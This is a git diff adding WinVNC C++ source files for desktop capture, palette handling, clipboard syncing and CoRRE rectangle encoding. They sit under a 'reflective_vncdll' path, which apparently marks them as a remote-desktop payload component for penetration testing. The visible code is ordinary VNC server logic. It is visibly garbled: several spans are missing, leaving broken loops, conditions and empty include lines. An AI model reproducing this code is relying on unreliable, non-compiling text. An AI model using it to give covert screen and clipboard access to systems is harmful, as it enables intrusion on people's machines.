abs((m_bminfo.bmi.bmiHeader.biWidth * + m_bminfo.bmi.bmiHeader.biHeight * + m_bminfo.bmi.bmiHeader.biBitCount)/ 8); + // Display format is non-VNC compatible - use the slow blit method + m_formatmunged = TRUE; + break; + } + + return TRUE; +} + +BOOL +vncDesktop::SetPixFormat() +{ + // If we are using a memory bitmap then check how many planes it uses + // The VNC code can only handle formats with a single plane (CHUNKY pixels) + if (!m_DIBbits) { + //vnclog.Print(LL_INTINFO, VNCLOG("DBG:display context has %d planes!\n"), + //GetDeviceCaps(m_hrootdc, PLANES)); + //vnclog.Print(LL_INTINFO, VNCLOG("DBG:memory context has %d planes!\n"), + //GetDeviceCaps(m_hmemdc, PLANES)); + if (GetDeviceCaps(m_hmemdc, PLANES) != 1) + { + MessageBox( + NULL, + "vncDesktop : current display is PLANAR, not CHUNKY!\n" + "WinVNC cannot be used with this graphics device driver", + szAppName, + MB_ICONSTOP | MB_OK + ); + return FALSE; + } + } + + // Examine the bitmapinfo structure to obtain the current pixel format + m_scrinfo.format.trueColour = m_bminfo.truecolour; + m_scrinfo.format.bigEndian = 0; + + // Set up the native buffer width, height and format + m_scrinfo.framebufferWidth = (CARD16) (m_bmrect.br.x - m_bmrect.tl.x); // Swap endian before actually sending + m_scrinfo.framebufferHeight = (CARD16) (m_bmrect.br.y - m_bmrect.tl.y); // Swap endian before actually sending + m_scrinfo.format.bitsPerPixel = (CARD8) m_bminfo.bmi.bmiHeader.biBitCount; + m_scrinfo.format.depth = (CARD8) m_bminfo.bmi.bmiHeader.biBitCount; + + // Calculate the number of bytes per row + m_bytesPerRow = m_scrinfo.framebufferWidth * m_scrinfo.format.bitsPerPixel / 8; + + return TRUE; +} + +BOOL +vncDesktop::SetPixShifts() +{ + // Sort out the colour shifts, etc. + DWORD redMask=0, blueMask=0, greenMask = 0; + + switch (m_bminfo.bmi.bmiHeader.biBitCount) + { + case 16: + // Standard 16-bit display + if (m_bminfo.bmi.bmiHeader.biCompression == BI_RGB) + { + // each word single pixel 5-5-5 + redMask = 0x7c00; greenMask = 0x03e0; blueMask = 0x001f; + } + else + { + if (m_bminfo.bmi.bmiHeader.biCompression == BI_BITFIELDS) + { + redMask = *(DWORD *) &m_bminfo.bmi.bmiColors[0]; + greenMask = *(DWORD *) &m_bminfo.bmi.bmiColors[1]; + blueMask = *(DWORD *) &m_bminfo.bmi.bmiColors[2]; + } + } + break; + + case 32: + // Standard 24/32 bit displays + if (m_bminfo.bmi.bmiHeader.biCompression == BI_RGB) + { + redMask = 0xff0000; greenMask = 0xff00; blueMask = 0x00ff; + } + else + { + if (m_bminfo.bmi.bmiHeader.biCompression == BI_BITFIELDS) + { + redMask = *(DWORD *) &m_bminfo.bmi.bmiColors[0]; + greenMask = *(DWORD *) &m_bminfo.bmi.bmiColors[1]; + blueMask = *(DWORD *) &m_bminfo.bmi.bmiColors[2]; + } + } + break; + + default: + // Other pixel formats are only valid if they're palette-based + if (m_bminfo.truecolour) + { + //vnclog.Print(LL_INTERR, "unsupported truecolour pixel format for setpixshifts\n"); + return FALSE; + } + return TRUE; + } + + // Convert the data we just retrieved + MaskToMaxAndShift(redMask, m_scrinfo.format.redMax, m_scrinfo.format.redShift); + MaskToMaxAndShift(greenMask, m_scrinfo.format.greenMax, m_scrinfo.format.greenShift); + MaskToMaxAndShift(blueMask, m_scrinfo.format.blueMax, m_scrinfo.format.blueShift); + + return TRUE; +} + +BOOL +vncDesktop::SetPalette() +{ + // Lock the current display palette into the memory DC we're holding + // *** CHECK THIS FOR LEAKS! + if (!m_bminfo.truecolour) + { + if (!m_DIBbits) { + // - Handle the palette for a non DIB-Section + + LOGPALETTE *palette; + UINT size = sizeof(LOGPALETTE) + (sizeof(PALETTEENTRY) * 256); + + palette = (LOGPALETTE *) new char[size]; + if (palette == NULL) { + //vnclog.Print(LL_INTERR, VNCLOG("unable to allocate logical palette\n")); + return FALSE; + } + + // Initialise the structure + palette->palVersion = 0x300; + palette->palNumEntries = 256; + + // Get the system colours + if (GetSystemPaletteEntries(m_hrootdc, + 0, 256, palette->palPalEntry) == 0) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to get system palette entries\n")); + delete [] palette; + return FALSE; + } + + // Create a palette from those + HPALETTE pal = CreatePalette(palette); + if (pal == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to create HPALETTE\n")); + delete [] palette; + return FALSE; + } + + // Select the palette into our memory DC + HPALETTE oldpalette = SelectPalette(m_hmemdc, pal, FALSE); + if (oldpalette == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("unable to select() HPALETTE\n")); + delete [] palette; + DeleteObject(pal); + return FALSE; + } + + // Worked, so realise the palette + //if (RealizePalette(m_hmemdc) == GDI_ERROR) + //vnclog.Print(LL_INTWARN, VNCLOG("warning - failed to RealizePalette\n")); + + // It worked! + delete [] palette; + DeleteObject(oldpalette); + + //vnclog.Print(LL_INTINFO, VNCLOG("initialised palette OK\n")); + return TRUE; + + } else { + // - Handle a DIB-Section's palette + + // - Fetch the system palette for the framebuffer + PALETTEENTRY syspalette[256]; + UINT entries = ::GetSystemPaletteEntries(m_hrootdc, 0, 256, syspalette); + //vnclog.Print(LL_INTERR, VNCLOG("framebuffer has %u palette entries"), entries); + + // - Store it and convert it to RGBQUAD format + RGBQUAD dibpalette[256]; + unsigned int i; + for (i=0;ipalVersion = 0x300; + palette->palNumEntries = 256; + + // Get the system colours + if (GetSystemPaletteEntries(m_hrootdc, + 0, 256, palette->palPalEntry) == 0) { + delete [] palette; + //vnclog.Print(LL_INTERR, VNCLOG("failed to init fast palette - disabling fast blits\n")); + return; + } + + // Copy the system palette into the bitmap info + for (int i=0; i<256; i++) { + m_bminfo.bmi.bmiColors[i].rgbReserved = 0; + m_bminfo.bmi.bmiColors[i].rgbRed = palette->palPalEntry[i].peRed; + m_bminfo.bmi.bmiColors[i].rgbGreen = palette->palPalEntry[i].peGreen; + m_bminfo.bmi.bmiColors[i].rgbBlue = palette->palPalEntry[i].peBlue; + } + + // It worked! + delete [] palette; + + //vnclog.Print(LL_INTINFO, VNCLOG("initialised fast palette OK\n")); + } +*/ + + // Create a new DIB section + HBITMAP tempbitmap = CreateDIBSection(m_hmemdc, &m_bminfo.bmi, DIB_RGB_COLORS, &m_DIBbits, NULL, 0); + if (tempbitmap == NULL) { + //vnclog.Print(LL_INTINFO, VNCLOG("failed to build DIB section - reverting to slow blits\n")); + m_DIBbits = NULL; + return; + } + + // Delete the old memory bitmap + if (m_membitmap != NULL) { + DeleteObject(m_membitmap); + m_membitmap = NULL; + } + + // Replace old membitmap with DIB section + m_membitmap = tempbitmap; + + //vnclog.Print(LL_INTINFO, VNCLOG("enabled fast DIBsection blits OK\n")); +} + +BOOL +vncDesktop::Init(vncServer *server) +{ + //vnclog.Print(LL_INTINFO, VNCLOG("initialising desktop handler\n")); + + // Save the server pointer + m_server = server; + + // Load in the arrow cursor + m_hdefcursor = LoadCursor(NULL, IDC_ARROW); + m_hcursor = m_hdefcursor; + + // Spawn a thread to handle that window's message queue + vncDesktopThread *thread = new vncDesktopThread; + if (thread == NULL) { + //vnclog.Print(LL_INTERR, VNCLOG("failed to start hook thread\n")); + return FALSE; + } + m_thread = thread; + return thread->Init(this, m_server); +} + +int +vncDesktop::ScreenBuffSize() +{ + return m_scrinfo.format.bitsPerPixel/8 * + m_scrinfo.framebufferWidth * + m_scrinfo.framebufferHeight; +} + +void +vncDesktop::FillDisplayInfo(rfbServerInitMsg *scrinfo) +{ + memcpy(scrinfo, &m_scrinfo, sz_rfbServerInitMsg); +} + +// Function to capture an area of the screen immediately prior to sending +// an update. +void +vncDesktop::CaptureScreen(const rfb::Rect &rect, BYTE *scrBuff, UINT scrBuffSize) +{ + assert(rect.enclosed_by(m_bmrect)); + + // Select the memory bitmap into the memory DC + HBITMAP oldbitmap; + if ((oldbitmap = (HBITMAP) SelectObject(m_hmemdc, m_membitmap)) == NULL) + return; + + // Capture screen into bitmap + BOOL blitok = BitBlt(m_hmemdc, rect.tl.x, rect.tl.y, + (rect.br.x-rect.tl.x), + (rect.br.y-rect.tl.y), + m_hrootdc, rect.tl.x, rect.tl.y, SRCCOPY); + + // Select the old bitmap back into the memory DC + SelectObject(m_hmemdc, oldbitmap); + + if (blitok) { + // Copy the new data to the screen buffer (CopyToBuffer optimises this if possible) + CopyToBuffer(rect, scrBuff, scrBuffSize); + } + +} + +// Add the mouse pointer to the buffer +void +vncDesktop::CaptureMouse(BYTE *scrBuff, UINT scrBuffSize) +{ + POINT CursorPos; + ICONINFO IconInfo; + + // If the mouse cursor handle is invalid then forget it + if (m_hcursor == NULL) + return; + + // Get the cursor position + if (!GetCursorPos(&CursorPos)) + return; + + // Translate position for hotspot + if (GetIconInfo(m_hcursor, &IconInfo)) + { + CursorPos.x -= ((int) IconInfo.xHotspot); + CursorPos.y -= ((int) IconInfo.yHotspot); + if (IconInfo.hbmMask != NULL) + DeleteObject(IconInfo.hbmMask); + if (IconInfo.hbmColor != NULL) + DeleteObject(IconInfo.hbmColor); + } + + // Select the memory bitmap into the memory DC + HBITMAP oldbitmap; + if ((oldbitmap = (HBITMAP) SelectObject(m_hmemdc, m_membitmap)) == NULL) + return; + + // Draw the cursor + DrawIconEx( + m_hmemdc, // handle to device context + CursorPos.x, CursorPos.y, + m_hcursor, // handle to icon to draw + 0,0, // width of the icon + 0, // index of frame in animated cursor + NULL, // handle to background brush + DI_NORMAL | DI_COMPAT // icon-drawing flags + ); + + // Select the old bitmap back into the memory DC + SelectObject(m_hmemdc, oldbitmap); + + // Save the bounding rectangle + m_cursorpos.tl = CursorPos; + m_cursorpos.br = rfb::Point(GetSystemMetrics(SM_CXCURSOR), + GetSystemMetrics(SM_CYCURSOR)).translate(CursorPos); + + // Clip the bounding rect to the screen + // Copy the mouse cursor into the screen buffer, if any of it is visible + m_cursorpos = m_cursorpos.intersect(m_bmrect); + if (!m_cursorpos.is_empty()) { + CopyToBuffer(m_cursorpos, scrBuff, scrBuffSize); + } +} + +// Return the current mouse pointer position +rfb::Rect +vncDesktop::MouseRect() +{ + return m_cursorpos; +} + +void +vncDesktop::SetCursor(HCURSOR cursor) +{ + if (cursor == NULL) + m_hcursor = m_hdefcursor; + else + m_hcursor = cursor; +} + +// Manipulation of the clipboard +void vncDesktop::SetClipText(char* rfbStr) +{ + int len = strlen(rfbStr); + char* winStr = new char[len*2+1]; + + int j = 0; + for (int i = 0; i < len; i++) + { + if (rfbStr[i] == 10) + winStr[j++] = 13; + winStr[j++] = rfbStr[i]; + } + winStr[j++] = 0; + + // Open the system clipboard + if (OpenClipboard(m_hwnd)) + { + // Empty it + if (EmptyClipboard()) + { + HANDLE hMem = GlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, j); + + if (hMem != NULL) + { + LPSTR pMem = (char*)GlobalLock(hMem); + + // Get the data + strcpy(pMem, winStr); + + // Tell the clipboard + GlobalUnlock(hMem); + SetClipboardData(CF_TEXT, hMem); + } + } + } + + delete [] winStr; + + // Now close it + CloseClipboard(); +} + +// INTERNAL METHODS + +inline void +vncDesktop::MaskToMaxAndShift(DWORD mask, CARD16 &max, CARD8 &shift) +{ + for (shift = 0; (mask & 1) == 0; shift++) + mask >>= 1; + max = (CARD16) mask; +} + +// Copy data from the memory bitmap into a buffer +void +vncDesktop::CopyToBuffer(const rfb::Rect &rect, BYTE *destbuff, UINT destbuffsize) +{ + // Finish drawing anything in this thread + // Wish we could do this for the whole system - maybe we should + // do something with LockWindowUpdate here. + GdiFlush(); + + // Are we being asked to blit from the DIBsection to itself? + if (destbuff == m_DIBbits) { + // Yes. Ignore the request! + return; + } + + int y_inv; + BYTE * destbuffpos; + + // Calculate the scanline-ordered y position to copy from + y_inv = m_scrinfo.framebufferHeight-rect.tl.y-(rect.br.y-rect.tl.y); + + // Calculate where in the output buffer to put the data + destbuffpos = destbuff + (m_bytesPerRow * rect.tl.y); + + // Set the number of bytes for GetDIBits to actually write + // NOTE : GetDIBits pads the destination buffer if biSizeImage < no. of bytes required + m_bminfo.bmi.bmiHeader.biSizeImage = (rect.br.y-rect.tl.y) * m_bytesPerRow; + + // Get the actual bits from the bitmap into the bit buffer + // If fast (DIBsection) blits are disabled then use the old GetDIBits technique + if (m_DIBbits == NULL) { + if (GetDIBits(m_hmemdc, m_membitmap, y_inv, + (rect.br.y-rect.tl.y), destbuffpos, + &m_bminfo.bmi, DIB_RGB_COLORS) == 0) + { + _RPT1(_CRT_WARN, "vncDesktop : [1] GetDIBits failed! %d\n", GetLastError()); + _RPT3(_CRT_WARN, "vncDesktop : thread = %d, DC = %d, bitmap = %d\n", omni_thread::self(), m_hmemdc, m_membitmap); + _RPT2(_CRT_WARN, "vncDesktop : y = %d, height = %d\n", y_inv, (rect.br.y-rect.tl.y)); + } + } else { + // Fast blits are enabled. [I have a sneaking suspicion this will never get used, unless + // something weird goes wrong in the code. It's here to keep the function general, though!] + + int bytesPerPixel = m_scrinfo.format.bitsPerPixel / 8; + BYTE *srcbuffpos = (BYTE*)m_DIBbits; + + srcbuffpos += (m_bytesPerRow * rect.tl.y) + (bytesPerPixel * rect.tl.x); + destbuffpos += bytesPerPixel * rect.tl.x; + + int widthBytes = (rect.br.x-rect.tl.x) * bytesPerPixel; + + for(int y = rect.tl.y; y < rect.br.y; y++) + { + memcpy(destbuffpos, srcbuffpos, widthBytes); + srcbuffpos += m_bytesPerRow; + destbuffpos += m_bytesPerRow; + } + } +} + +// Routine to find out which windows have moved +// If copyrect detection isn't perfect then this call returns +// the copyrect destination region, to allow the caller to check +// for mistakes +void +vncDesktop::CalcCopyRects(rfb::UpdateTracker &tracker) +{ + HWND foreground = GetForegroundWindow(); + RECT foreground_rect; + + // Actually, we just compare the new and old foreground window & its position + if (foreground != m_foreground_window) { + m_foreground_window=foreground; + // Is the window invisible or can we not get its rect? + if (!IsWindowVisible(foreground) || + !GetWindowRect(foreground, &foreground_rect)) { + m_foreground_window_rect.clear(); + } else { + m_foreground_window_rect = foreground_rect; + } + } else { + // Same window is in the foreground - let's see if it's moved + RECT destrect; + rfb::Rect dest; + rfb::Point source; + + // Get the window rectangle + if (IsWindowVisible(foreground) && GetWindowRect(foreground, &destrect)) + { + rfb::Rect old_foreground_window_rect = m_foreground_window_rect; + source = m_foreground_window_rect.tl; + m_foreground_window_rect = dest = destrect; + if (!dest.is_empty() && !old_foreground_window_rect.is_empty()) + { + // Got the destination position. Now send to clients! + if (!source.equals(dest.tl)) + { + rfb::Point delta = rfb::Point(dest.tl.x-source.x, dest.tl.y-source.y); + + // Clip the destination rectangle + dest = dest.intersect(m_bmrect); + if (dest.is_empty()) return; + + // Clip the source rectangle + dest = dest.translate(delta.negate()).intersect(m_bmrect); + dest = dest.translate(delta); + if (!dest.is_empty()) { + // Tell the buffer about the copyrect + m_buffer.CopyRect(dest, delta); + + // Notify all clients of the copyrect + tracker.add_copied(dest, delta); + } + } + } + } else { + m_foreground_window_rect.clear(); + } + } +} + +// Window procedure for the Desktop window +LRESULT CALLBACK +DesktopWndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam) +{ + vncDesktop *_this = (vncDesktop*)GetWindowLong(hwnd, GWL_USERDATA); + + switch (iMsg) + { + + // GENERAL + + case WM_DISPLAYCHANGE: + // The display resolution is changing + + // We must kick off any clients since their screen size will be wrong + _this->m_displaychanged = TRUE; + return 0; + + case WM_SYSCOLORCHANGE: + case WM_PALETTECHANGED: + // The palette colours have changed, so tell the server + + // Get the system palette + if (!_this->SetPalette()) + PostQuitMessage(0); + + // Update any palette-based clients, too + _this->m_server->UpdatePalette(); + return 0; + + // CLIPBOARD MESSAGES + + case WM_CHANGECBCHAIN: + // The clipboard chain has changed - check our nextviewer handle + if ((HWND)wParam == _this->m_hnextviewer) + _this->m_hnextviewer = (HWND)lParam; + else + if (_this->m_hnextviewer != NULL) + SendMessage(_this->m_hnextviewer, + WM_CHANGECBCHAIN, + wParam, lParam); + + return 0; + + case WM_DRAWCLIPBOARD: + // The clipboard contents have changed + if((GetClipboardOwner() != _this->Window()) && + _this->m_initialClipBoardSeen && + _this->m_clipboard_active) + { + LPSTR cliptext = NULL; + + // Open the clipboard + if (OpenClipboard(_this->Window())) + { + // Get the clipboard data + HGLOBAL cliphandle = GetClipboardData(CF_TEXT); + if (cliphandle != NULL) + { + LPSTR clipdata = (LPSTR) GlobalLock(cliphandle); + + // Copy it into a new buffer + if (clipdata == NULL) + cliptext = NULL; + else + cliptext = strdup(clipdata); + + // Release the buffer and close the clipboard + GlobalUnlock(cliphandle); + } + + CloseClipboard(); + } + + if (cliptext != NULL) + { + int cliplen = strlen(cliptext); + LPSTR unixtext = (char *)malloc(cliplen+1); + + // Replace CR-LF with LF - never send CR-LF on the wire, + // since Unix won't like it + int unixpos=0; + for (int x=0; xm_server->UpdateClipText(unixtext); + + free(unixtext); + } + } + + _this->m_initialClipBoardSeen = TRUE; + + if (_this->m_hnextviewer != NULL) + { + // Pass the message to the next window in clipboard viewer chain. + return SendMessage(_this->m_hnextviewer, WM_DRAWCLIPBOARD, 0,0); + } + + return 0; + + default: + return DefWindowProc(hwnd, iMsg, wParam, lParam); + } +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncdesktop.h b/external/source/reflective_vncdll/winvnc/winvnc/vncdesktop.h new file mode 100644 index 0000000000..67ca070926 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncdesktop.h @@ -0,0 +1,205 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncDesktop object + +// The vncDesktop object handles retrieval of data from the +// display buffer. It also uses the RFBLib DLL to supply +// information on mouse movements and screen updates to +// the server + +class vncDesktop; + +#if !defined(_WINVNC_VNCDESKTOP) +#define _WINVNC_VNCDESKTOP +#pragma once + +// Include files +#include "stdhdrs.h" + +class vncServer; +#include "rfbRegion.h" +#include "rfbUpdateTracker.h" +#include "vncBuffer.h" +#include "translate.h" +#include + +// Constants +extern const UINT RFB_SCREEN_UPDATE; +extern const UINT RFB_COPYRECT_UPDATE; +extern const UINT RFB_MOUSE_UPDATE; +extern const char szDesktopSink[]; + +// Class definition + +class vncDesktop +{ + +// Fields +public: + +// Methods +public: + // Make the desktop thread & window proc friends + friend class vncDesktopThread; + friend LRESULT CALLBACK DesktopWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp); + + // Create/Destroy methods + vncDesktop(); + ~vncDesktop(); + + BOOL Init(vncServer *pSrv); + + // Tell the desktop hooks to grab & update a particular rectangle + void QueueRect(const rfb::Rect &rect); + + // Kick the desktop hooks to perform an update + void TriggerUpdate(); + + // Get a reference to the desktop update lock + // The lock is held while data is being grabbed and copied + // to the back buffer, and while changes are being passed to + // clients + omni_mutex &GetUpdateLock() {return m_update_lock;}; + + // Screen translation, capture, info + void FillDisplayInfo(rfbServerInitMsg *scrInfo); + void CaptureScreen(const rfb::Rect &UpdateArea, BYTE *scrBuff, UINT scrBuffSize); + int ScreenBuffSize(); + HWND Window() {return m_hwnd;}; + + // Mouse related + void CaptureMouse(BYTE *scrBuff, UINT scrBuffSize); + rfb::Rect MouseRect(); + void SetCursor(HCURSOR cursor); + + // Clipboard manipulation + void SetClipText(LPSTR text); + + // Method to obtain the DIBsection buffer if fast blits are enabled + // If they're disabled, it'll return NULL + inline VOID *OptimisedBlitBuffer() {return m_DIBbits;}; + + BOOL m_initialClipBoardSeen; + + // Handler for pixel data grabbing and region change checking + vncBuffer m_buffer; + + // Implementation +protected: + + // Routines to hook and unhook us + BOOL Startup(); + BOOL Shutdown(); + + // Init routines called by the child thread + BOOL InitDesktop(); + void KillScreenSaver(); + void KillWallpaper(); + void RestoreWallpaper(); + BOOL InitBitmap(); + BOOL InitWindow(); + BOOL ThunkBitmapInfo(); + BOOL SetPixFormat(); + BOOL SetPixShifts(); + BOOL InitHooks(); + BOOL SetPalette(); + + // Fetching pixel data to a buffer, and handling copyrects + void CopyToBuffer(const rfb::Rect &rect, BYTE *scrBuff, UINT scrBuffSize); + void CalcCopyRects(rfb::UpdateTracker &tracker); + + // Routine to attempt enabling optimised DIBsection blits + void EnableOptimisedBlits(); + + // Convert a bit mask eg. 00111000 to max=7, shift=3 + static void MaskToMaxAndShift(DWORD mask, CARD16 &max, CARD8 &shift); + + // Enabling & disabling clipboard handling + void SetClipboardActive(BOOL active) {m_clipboard_active = active;}; + + // DATA + + // Generally useful stuff + vncServer *m_server; + omni_thread *m_thread; + HWND m_hwnd; + UINT m_timerid; + HWND m_hnextviewer; + BOOL m_clipboard_active; + + // device contexts for memory and the screen + HDC m_hmemdc; + HDC m_hrootdc; + + // New and old bitmaps + HBITMAP m_membitmap; + omni_mutex m_update_lock; + + rfb::Rect m_bmrect; + struct _BMInfo { + BOOL truecolour; + BITMAPINFO bmi; + // Colormap info - comes straight after BITMAPINFO - **HACK** + RGBQUAD cmap[256]; + } m_bminfo; + + // Screen info + rfbServerInitMsg m_scrinfo; + + // These are the red, green & blue masks for a pixel + DWORD m_rMask, m_gMask, m_bMask; + + // This is always handy to have + int m_bytesPerRow; + + // Handle of the default cursor + HCURSOR m_hcursor; + // Handle of the basic arrow cursor + HCURSOR m_hdefcursor; + // The current mouse position + rfb::Rect m_cursorpos; + + // Boolean flag to indicate when the display resolution has changed + BOOL m_displaychanged; + + // Boolean flag to indicate whether or not an update trigger message + // is already in the desktop thread message queue + BOOL m_update_triggered; + + // Extra vars used for the DIBsection optimisation + VOID *m_DIBbits; + BOOL m_formatmunged; + + // Info used for polling modes + rfb::Rect m_qtrscreen; + UINT m_pollingcycle; + + // Handling of the foreground window, to produce CopyRects + HWND m_foreground_window; + rfb::Rect m_foreground_window_rect; +}; + +#endif // _WINVNC_VNCDESKTOP diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncencodecorre.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncencodecorre.cpp new file mode 100644 index 0000000000..72fc127723 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncencodecorre.cpp @@ -0,0 +1,522 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncEncodeCoRRE + +// This file implements the vncEncoder-derived vncEncodeCoRRE class. +// This class overrides some vncEncoder functions to produce a +// Compact RRE encoder. Compact RRE (CoRRE) uses fewer bytes to +// encode each subrect, which makes it faster in general. It also +// splits large rectangles up into ones of at most 256 pixels width +// & height. This results in better granularity to use for deciding +// whether to send RAW or CoRRE/RRE. + +#include "vncEncodeCoRRE.h" +#include "rfb.h" +#include "rfbMisc.h" +#include +#include + +vncEncodeCoRRE::vncEncodeCoRRE() +{ + m_buffer = NULL; + m_bufflen = 0; + + // Set some sensible defaults + m_maxwidth = 24; + m_maxheight = 24; + m_maxadjust = 1; + + // Set the threshold up/down probability + m_threshold = 50; + + // Seed the random number generator + srand((unsigned)time(NULL)); + + m_statsready = FALSE; + m_encodedbytes = 0; + m_rectbytes = 0; +} + +vncEncodeCoRRE::~vncEncodeCoRRE() +{ + if (m_buffer != NULL) + { + delete [] m_buffer; + m_buffer = NULL; + } +} + +void vncEncodeCoRRE::Init() +{ + vncEncoder::Init(); +} + +UINT vncEncodeCoRRE::RequiredBuffSize(UINT width, UINT height) +{ + rfb::Rect fullscreen = rfb::Rect(0, 0, width, height); + UINT codedrects; + + // Work out how many rectangles the entire screen would + // be re-encoded to... + codedrects = NumCodedRects(fullscreen); + + // The buffer size required is the size of raw data for the whole + // screen plus enough space for the required number of rectangle + // headers. + // This is inherently always greater than the RAW encoded size of + // the whole screen! + return (codedrects * sz_rfbFramebufferUpdateRectHeader) + + (width * height * m_remoteformat.bitsPerPixel)/8; +} + +UINT +vncEncodeCoRRE::NumCodedRects(const rfb::Rect &rect) +{ + // If we have any statistical data handy then adjust the CoRRE sizes + if (m_statsready) + { + m_statsready = FALSE; + + UINT newscore = m_encodedbytes * m_lastrectbytes; + UINT oldscore = m_lastencodedbytes * m_rectbytes; + + if (newscore <= oldscore) + { + // The change was a good one, so adjust the threshold accordingly! + m_threshold = max(5, min(95, m_threshold + m_maxadjust)); + + m_maxwidth = max(8, min(255, m_maxwidth + m_maxadjust)); + m_maxheight = max(8, min(255, m_maxheight + m_maxadjust)); + } + else + { + // The change was a bad one, so adjust the threshold accordingly! + // m_threshold = Max(5, Min(95, m_threshold - m_maxadjust)); + } + + // Now calculate a new adjustment and apply it + m_maxadjust = ((rand() % 99) m_maxheight) + { + rfb::Rect subrect1, subrect2; + + // Find how many rects the two subrects would take + subrect1.tl.x = rect.tl.x; + subrect1.br.x = rect.br.x; + subrect1.tl.y = rect.tl.y; + subrect1.br.y = rect.tl.y + m_maxheight; + + subrect2.tl.x = rect.tl.x; + subrect2.br.x = rect.br.x; + subrect2.tl.y = rect.tl.y + m_maxheight; + subrect2.br.y = rect.br.y; + + return NumCodedRects(subrect1) + NumCodedRects(subrect2); + } + + if ((rect.br.x-rect.tl.x) > m_maxwidth) + { + rfb::Rect subrect1, subrect2; + + // Find how many rects the two subrects would take + subrect1.tl.x = rect.tl.x; + subrect1.br.x = rect.tl.x + m_maxwidth; + subrect1.tl.y = rect.tl.y; + subrect1.br.y = rect.br.y; + + subrect2.tl.x = rect.tl.x + m_maxwidth; + subrect2.br.x = rect.br.x; + subrect2.tl.y = rect.tl.y; + subrect2.br.y = rect.br.y; + return NumCodedRects(subrect1) + NumCodedRects(subrect2); + } + + // This rectangle is small enough not to require splitting + return 1; +} + +/* + * corre.c + * + * Routines to implement Compact Rise-and-Run-length Encoding (CoRRE). This + * code is based on krw's original javatel rfbserver. + */ + +/* + * This version modified for WinVNC by jnw. + */ + +static int rreAfterBufLen; + +static int subrectEncode8 (CARD8 *source, CARD8 *dest, int w, int h, int max); +static int subrectEncode16 (CARD16 *source, CARD8 *dest, int w, int h, int max); +static int subrectEncode32 (CARD32 *source, CARD8 *dest, int w, int h, int max); +static CARD32 getBgColour (char *data, int size, int bpp); + +/* + * vncEncodeCoRRE::EncodeRect - send an arbitrary size rectangle using CoRRE + * encoding. + */ + +UINT +vncEncodeCoRRE::EncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + // Do the encoding + UINT size = InternalEncodeRect(source, dest, rect); + + const UINT rectW = rect.br.x - rect.tl.x; + const UINT rectH = rect.br.y - rect.tl.y; + + // Will this rectangle have been split for encoding? + if ((rectW>m_maxwidth) || (rectH>m_maxheight)) + { + // Yes : Once we return, the stats will be valid! + m_statsready = TRUE; + + // Update the stats + m_encodedbytes += size; + m_rectbytes += sz_rfbFramebufferUpdateRectHeader + + (rectW*rectH*m_remoteformat.bitsPerPixel/8); + } + + return size; +} + +UINT +vncEncodeCoRRE::InternalEncodeRect(BYTE *source, BYTE *dest, const rfb::Rect &rect) +{ + int size = 0; + + if ((rect.br.y-rect.tl.y) > m_maxheight) + { + rfb::Rect subrect; + + // Rectangle is too high - split it into two subrects to send + subrect.tl.x = rect.tl.x; + subrect.br.x = rect.br.x; + subrect.tl.y = rect.tl.y; + subrect.br.y = rect.tl.y + m_maxheight; + size += InternalEncodeRect(source, dest + size, subrect); + + subrect.tl.x = rect.tl.x; + subrect.br.x = rect.br.x; + subrect.tl.y = rect.tl.y + m_maxheight; + subrect.br.y = rect.br.y; + size += InternalEncodeRect(source, dest + size, subrect); + + return size; + } + + if ((rect.br.x-rect.tl.x) > m_maxwidth) + { + rfb::Rect subrect; + + // Rectangle is too high - split it into two subrects to send + subrect.tl.x = rect.tl.x; + subrect.br.x = rect.tl.x + m_maxwidth; + subrect.tl.y = rect.tl.y; + subrect.br.y = rect.br.y; + size += InternalEncodeRect(source, dest + size, subrect); + + subrect.tl.x = rect.tl.x + m_maxwidth; + subrect.br.x = rect.br.x; + subrect.tl.y = rect.tl.y; + subrect.br.y = rect.br.y; + size += InternalEncodeRect(source, dest + size, subrect); + + return size; + } + + return EncodeSmallRect(source, dest, rect); +} + +void +vncEncodeCoRRE::SetCoRREMax(BYTE width, BYTE height) +{ + m_maxwidth = width; + m_maxheight = height; +} + +/* + * EncodeSmallRect - send a small (guaranteed < 256x256) + * rectangle using CoRRE encoding. + */ + +UINT 